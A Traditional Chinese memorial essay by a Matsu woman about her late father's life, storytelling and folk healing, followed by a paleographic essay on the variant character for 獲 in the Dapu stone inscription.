走完97年歲月,他完成了他的一生。他不是什麼偉大的父親,他沒有任何豐功偉業,也不像其人的父親掙得家大業大,他甚至夠不上一個好父親的標準,因為,作為一個入門贅婿,他已承受了太多太多的社會壓力和家庭壓力;因為,作為一個有十四口老小家口的家長,顧不來生活的每一面向,他沒有能力優雅的擔起肩上的擔子;因為,在民國初年落後封閉,以迄60年代,馬祖經濟大蕭條的情況下,沒有一個他可迴避的角落…,因此,相對於「偉大的父親」、「完美的父親」,在我的心裡他是個「有趣味的父親」,啟發了我這一生。

作為中隴劉家子弟,他是上有三個姐姐、五個哥哥的么子,從小被送進私塾讀書,和他同學的有山隴陳依茂依伯、陳高志老師的母親(英嬌姑,也是中隴劉家的女兒),這二位尚在人世時見到我總會說︰「我和你爸爸是同學喲,你爸爸很聰明,別人背不會的書,他都會背,都沒被先生打手板過。」加上年輕時好看的外表,他有了「自由戀愛」的條件,福沃村游姓地主家的獨生女兒鍾意他,不惜和她父親翻臉。

山隴兩岸特產店曹玉興的母親孫木蓮依婆,每次見到我都要提起70多年前的往事︰「妳爹和妳嬭是馬祖第一對談戀愛結婚的喲!」她和我母親同年同月同日生,二人是從小一塊玩的閨密。她說︰「做後生時候,妳爹喜歡妳嬭,每次走在福沃的路上他都會唸詩『行到福沃涼山路,進哪不進退不退,若有機會討得伊,半暝豬屎都去撿』(嗯,不太高明的詩,但我母親的閨密卻記住70多年),妳公已經幫妳嬭找好女婿,也用自己的錨纜從福州載回鏡箱、糞桶,妳嬭死都不肯圓房,她只要妳爹,妳公無法只好依她了。」當木蓮姆說起這一段我母親終其一生從未講過的往事,我可以想像父親處在那種愛情的渴求和入門婿難為之中的為難而進退維谷。最後父親選擇了愛情,離開自己原生家庭,展開了倍受社會歧視的「從妻居」生活,也因為有前面抗爭的過程,他和我依公、依嬤關係並不融洽,夾在中間的母親也因疲於調和而逐漸讓愛情失色,並增加了許多爭執。

孩子陸續出生後,生活壓力大增,在傳統漁業中的父親,並沒能創造較優的生活條件,除了愛情消耗殆盡,他日常被母親嫌棄︰「可惜死字識一肚佬,給人記數作帳,自家厝沒帳可數。」漁民中識字者少,父親替同業記帳,常常吃過晚飯後腋下夾著帳簿、叼著牙簽往漁友家裡幫忙作帳,算盤打得喀哩喀啦的響。他已經發現他們的蝦皮一斤4元被收購(等級被壓低)、而收購者以24元賣到台灣的現象,但漁友們的認命以及他個性上的疏散使他無力改變什麼,就一起被困在蕭條之中。漁友們喜歡他,除了會記帳作數,還因為他會「講書」。不那麼忙的時候,總有某一家人的飯桌收拾乾淨後,擺上一個大碗缸,一隻筷子,泡好一杯半山—現在還有少數老人家稱茶葉為「半山」,因為茶葉多是種在丘陵、半山腰上,故稱之,當然,還有一包新樂園香煙。筷子擊在碗沿咔咔聲響起,飯桌旁圍成一圈的大大小小聽眾立即鴉雀無聲,等待著「講哪起呀,這天下,自古以來都是分久必合,合久必分…」但他並不依照三國演義故事舖陳,他說的關雲長是一個「吃曹操飯拉劉備屎」的人,這好與不好聽眾自由取向。隋唐演義、七俠五義、封神榜、薛仁貴征東、八美樓…,在大家都聽得懂馬祖話的年代,大人小孩都聽得迷進故事裡。後來,講書抵不過黑白電視,黑白電視抵不過彩色電視,講書沒落了,他自己也沈浸在電視連續劇裡,晚年時每天看12小時以上。

我父,魂兮歸矣!
清明上河圖說書人 圖片來源︰網路圖片

那些年代,廟裡的神明是人們心靈的支柱,鄰里們日常的疑難雜症常靠簽詩作為指引,求到了簽詩就來請鐲鐲叔「詳簽」—解讀簽詩內容及斷其吉凶。經他解讀過的下下簽都會有一個隱藏版的上上簽,他總會附加一個「否極泰來」的故事,讓人在被神明簽詩判定絕望之後都還能保持著柳暗花明的希望。我少年時自以為讀過一些書,在鄉親離開後會問他︰「剛剛那張簽明明是下下簽啊!」他笑著罵我「伲仔哥,話莫多。」長大成人讀更多書之後,才明白那不就是「心理醫師」做的事嗎?此外,他還無照行醫。馬祖人從小到大,各種魚是除了蕃薯之外最常食用的食物,每年總有幾位被魚刺刺到喉嚨的大人、小孩到我家,父親左手搯起一個法訣,舀了半碗水放上去,面向東方,右手一揮結個法印,以食指、中指在水面上畫個「剔骨符」,同時唸起化骨咒「此水非為凡間水,此水是為化骨水,東方甲乙木請神,南方…」唸完咒,右腳一頓,把指尖上的水彈出去,然後讓人把這碗水大口喝下,再用碗沿刮三下喉部,說也奇怪,效果明顯,哭著來的小朋友笑著離開。勞動的人們的手常常被竹、木刺刺到用針都挑不出來,他都有一套相應的符咒解決問題。在醫院上班時,遇魚刺刺到的病人需照X光、用內視鏡取出,我就會想父親那一套為什麼有效?寫碩士論文時,研究的是馬祖的民俗醫療,把他這一套堅持「傳男不傳女」的秘技都挖了出來,他用久未握筆關節僵硬的手顫抖著畫下三道「符」給我,當他知道居然有助於我的碩士論文,直後悔少年時沒向他堂哥多學些本事好傳給我。

自我有記憶以來,許多南風娜娜的大榕樹下、涼風習習的星光下的時光,他或是一邊剖篾或是一邊捏索,或是就抱著我,講的許許多多的故事,都開啟了我小小心靈的想像空間,為什麼大公雞一啼太陽就出來?公雞還讓「大盜甘瘤子」棄邪歸正呢!他的故事裡,玄天上帝放下屠刀立地成佛非因一個孕婦生孩子,而是一個為踩死螞蟻而自責哭泣的人(當然也是觀音菩薩變的),螻蟻尚且貪生,真正的慈悲是對所有的眾生的尊重與珍惜,玄天上帝因此頓悟而棄屠刀救眾生。

他從來沒說過愛我們的話,當然他也還有許許多多缺點,例如不夠積極勤奮、不夠精明能幹、常吃虧上當、個性疏散、還愛喝點酒…,尤其是漸漸走向老年之後,種種的不得已消磨掉他所有浪漫的本性,變得越來越不有趣,90歲以後居然忘了自己幾歲了,每次我去看他每次都問我︰「妳是屬狗的吧?我也是屬狗的,但我忘了我幾歲了。」說完,難為情的笑了,忘了自己幾歲的人卻記得女兒的生肖。重聽的他會讀我們的唇語,我們也用紙筆和他溝通,後來用手機、I PAD手寫功能,不會聽馬祖話的孫子們透過文字理解他的意思,他的孫子們笑稱爺爺會用3C產品,好先進呢。去年,急診室裡,插滿管子的他沒法說話,我把Spen放在他手上,他顫巍巍的在我的手機上寫下「想喝米漿」一陣心酸我眼淚奪眶而出,多麼卑微的想望啊!用棉花棒沾著米漿放到他嘴邊,閉起眼睛他心滿意足的咂著嘴唇…。

在法鈴和鼓樂聲中,我們跟在法師身後緩步前行,我哭得聲嘶力竭,雖然我這一代人已經不會馬祖傳統哭調曲子,我只持著紙鶴向前一步一聲哭父親。有了三個哥哥以後,我出生時,他眉開眼笑,逢人就說︰「我以後有豬腳吃了,死後有人哭了。」彷彿人生自此無憾。馬祖女兒出嫁後替父親過生日要送上豬腳,離世時要女兒要大聲哭父才能免除陰間受罪。比起讓他孤伶伶的躺在病床上,我寧願用慘惻哭聲送他走過奈河橋,我寧願用慘惻哭聲感動十殿閻王,讓他平順地穿過十殿地獄,直向西方極樂世界走去。紙鶴由女兒持著,是讓女兒哭到無力時能柱著鶴杖勉力前行,這個儀式的設計原來是有人性依據的(整個喪葬儀式的人類學研究未來我會慢慢寫出),每一場法事中,我邊哭邊保持鶴首向正前方以引領父親,在喝過天醫賜給的藥茶之後,他已斷除所有人間病痛苦難,健步前行。

紙幡在風中飄揚,我父乘著紙鶴飄然而去,三魂安然,七魄自在。

    游桂香  106年6月5日

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說〈大埔石刻〉中的「[犭隻]」與「獲」

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前幾天,金炎校長在群組中張貼有關〈大埔石刻〉的歷史本末,此事讓我想起兩、三年前,〈馬報〉記者林冰芳小姐和我交談的往事。當時除了向她分析[犭隻]、「獲」、「隻」等字的演變關係以外,也立刻電請敬恆國中林元忠校長託人拍攝原物、原景。感謝東莒國小的郭盈傑老師特地跑一趟大埔,他很細心地從不同的角度去拍攝。(文中的黑白碑文照片取自金炎校長的大作。直立紅色碑文是王建華校長提供。懷古亭舊觀及兒童郊遊老照片,是曹祥官課長提供。在此敬向諸位朋友致上最高的謝意。)冰芳小姐的問題引起我高度的興趣,遺憾的事是,該物件被玻璃罩圍著,無法摩娑原件一探它的來龍去脈,今天只能如瞎子摸象一般的略作分析。

說〈大埔石刻〉中的「[犭隻]」與「獲」
懷古亭郊遊
大學畢業應聘到西莒敬恆國中任教,當時還是戒嚴時代,離島之間的交通極為不便。莒光一鄉兩島,彼此之間的往返仍要辦進出港手續。何時開航、能否開船,都是長官說了算。因為怕麻煩,所以,三年的敬恆生涯到東島不超過6次。懷古亭還是民國99年陪台灣同事遊馬祖時初次登臨。當時聽振玉兄的導覽,也不免俗的拍了照,然後就如同一般旅客,緊接著走下一個行程。〈大埔石刻〉是馬祖重要的歷史文獻,地區發行的新舊刊物幾乎都有刊載。我將罩上玻璃的紅漆版本和原版比較,不難發覺:原刻字體內斂;橫平紅色的碑文,字體顯得枯瘠且單薄,尤其是「傷」字失之忸怩;「地」字結構也描走了樣,…。唐朝李商隱曾把「苔上鋪蓆、花架下養雞鴨、…」視為「煞風景」的舉動。某位長官英明,居然下令對古物擦脂抹粉,這是犯了考古的大忌。但話說回來,只是下令漆紅而已,沒給它塗上金粉,已是不幸中之大幸了。建華校長提供的直立紅書版,當中的[犭隻]字尚未加草頭。老實說,若非冰芳小姐的詢問,我是不會發現此字已被動過手腳。也許長官不知[犭隻] 與「獲」是異體字,誤以為前者是錯字,結果畫蛇添足的湊上「艹」頭。這真是美麗的錯誤啊!

 

說〈大埔石刻〉中的「[犭隻]」與「獲」
原始碑文全貌
說〈大埔石刻〉中的「[犭隻]」與「獲」
直立式漆紅後的碑文

說〈大埔石刻〉中的「[犭隻]」與「獲」
玻璃罩中漆紅後的碑文
進入主題之前,我們先瞭解一下「隻」等字的原始形構。下圖就是它們的形體演變路徑。因為古文字、冷僻字無法用個人電腦處理,除了統一用手寫以外,還編上代號,行文時就以代號表示無法呈現的本字,造成閱讀不便,此非得已,敬請鄉親諒察。

 

說〈大埔石刻〉中的「[犭隻]」與「獲」
圖5.古文字字形表
  • 隹:鳥的象形文字。此字無異議。
  • 雈:讀音為ㄏㄨㄢˊ,是貓頭鷹的象形文字。(《說文》說讀若「和」。)
  • 隻:文字下方的「又」是右手的象形,表示「捕捉一隻鳥」的概念,故甲骨文、金文都以它表示「獲得」的意思。東漢時代的許慎寫《說文解字》時,甲骨文尚未出土,鐘鼎器物僅偶而出現。此刻「隻」已經變成單位名詞了,許慎誤把後來的字義當作本義。
  • 此字讀音為ㄏㄨㄛˋ,字形楷書所無,一般的電腦無法呈現。在漢字部首分類中,「鳥」、「隹」都是飛禽的大類別。無論是杜鵑、麻雀、斑鳩,…,在創造合體字時,以「鳥」或「隹」做偏旁,都能精確的達意。筆者甲骨文老師李孝定教授說:「(4)、隻當為同字……為獲得本字。从手持隹有所獲也,持隹、持(4)意同。」(見《讀說文記》103)
  • 此是楷書「艹」的行、草書體寫法。

 

中國文字發展到魏晉六朝時進入了關鍵時刻。此時不但隸楷的字體定於一尊,而且書寫便捷的行、草書體也已成熟。因文化蓬勃發展,用字的人口大增,俗體字一定會大量出現,後來唐朝《干祿字書》的通行就是必然的結果。一般人都相信,文字形構在獨體字中保守性強,在合體字中經常會出現:繁化、簡化、聲化、類化(含同化)、分化等現象。把「獲」字寫做 [犭隻] 形也未嘗不可,甚至有寫成「擭」的例子(見文末所附資料)。只是大家習慣了「獲」的寫法,就將 [犭隻] 視為錯字,進而多此一舉的為它做修補的工程。隸楷書體的碑文,字形大小如一,為了不使添加「艹」頭後感覺形體笨重,主其事者捨「艹」而就(5)。牽一髮必須動全身,接著再把左邊的「犭」描高了一些。

 

寫到此,我心中疑慮仍然不解,許多文字和原版有出入。是經年風化、漆髹後使它位移?或是有其他原因。……真希望將來整修、移除玻璃罩時能親赴現場,做進一步的審視。

 

前一陣子,〈馬報〉記者陳鵬雄也和我討論「彳」部的字和「水」的關係。兩個問題都是和文字書寫習慣有關。現在我把相關的資料排列於後,當可證明當初鵬雄的論述是正確的。

 

說〈大埔石刻〉中的「[犭隻]」與「獲」
「獲」隸楷字表

說〈大埔石刻〉中的「[犭隻]」與「獲」
「獲」隸楷字表
   以上資料影印自:

秦公:《碑別字新編》,文物出版社,1985年。

張同標:《楷書異體字字典》,河南美術,1985年。

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